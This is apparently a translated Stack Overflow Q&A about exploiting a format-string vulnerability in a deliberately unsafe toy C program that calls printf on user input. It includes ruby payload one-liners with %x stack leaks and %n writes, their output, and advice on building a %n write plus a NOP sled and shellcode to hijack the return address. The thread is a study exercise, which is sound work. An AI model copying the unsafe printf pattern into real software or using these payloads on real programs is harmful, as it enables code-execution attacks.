是的,已经存在相当多的类似问题(5037601,19166698,4855162,14505995,5052648,13409508,7745146,7459630;对不起,超过2个链接的代表不够),是的,有一些很好的文章解释这种事情(click,click,http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)。我已经阅读了它们,我认为我得到了一般的想法,但我仍然成功地利用了我能想到的最简单的训练玩具示例。
#include <stdio.h>
void f(char* a)
{
printf("a: %p\n", &a);
printf(a);
return;
}
void main(int argc, char** argv)
{
f(argv[1]); //please ignore the lack of any check
return;
}
是的,堆栈是可执行的,是的,内存布局随机化被禁用。每次执行都给我a
的相同地址。我可以为它$ ruby -e 'print "AAAA"+("%08x."*16)'
提供它,结果是:
a: 0xbfffece0
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838.
所以现在我可以看到我的输入最终在内存中。我可以使用$ ruby -e 'print "12345%n"+("%08x."*16)'
将值写入堆栈,结果如下:
a: 0xbfffece0
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78.
显然,我的最终目标可能是<something><NOPs><shellcode>
,其中<something>
会覆盖f
的返回地址,以便程序跳转到NOP底座并执行shellcode。但保存的返回地址的地址现在似乎取决于我的输入,对吧?类似于0xbfffece0 - len(input) - 12
的东西,假设一个12字节的序言?也许这个例子毕竟不是最简单的......
我感到困惑。有什么想法吗?
答案 0 :(得分:1)
另一个想法是使用&#34; dolor sign&#34; %<distance>$n
。
引用linux的printf联机帮助页:
也可以 在每个地方明确指定采用哪个参数 通过写&#34;%m $&#34;需要参数。十进制整数m表示位置 所需参数的参数列表,从1开始索引。 Source
示例: %5$n
会从堆栈顶部写入第5个地址。
答案 1 :(得分:0)
我建议您使用一长串'%08x'格式字符来确定输入中正确的'%n'值,以便覆盖返回地址。
12345%n%08x%08x%08x%08x........%08x%08x
接下来,您可以修改输入,用NOP sled + shellcode替换'%08x'字符串的一部分,保持输入的长度相同。
12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE
(根据需要修改上面的%n格式说明符以写入正确的值)
这将确保输入的大小,因此保存的返回地址的位置保持不变。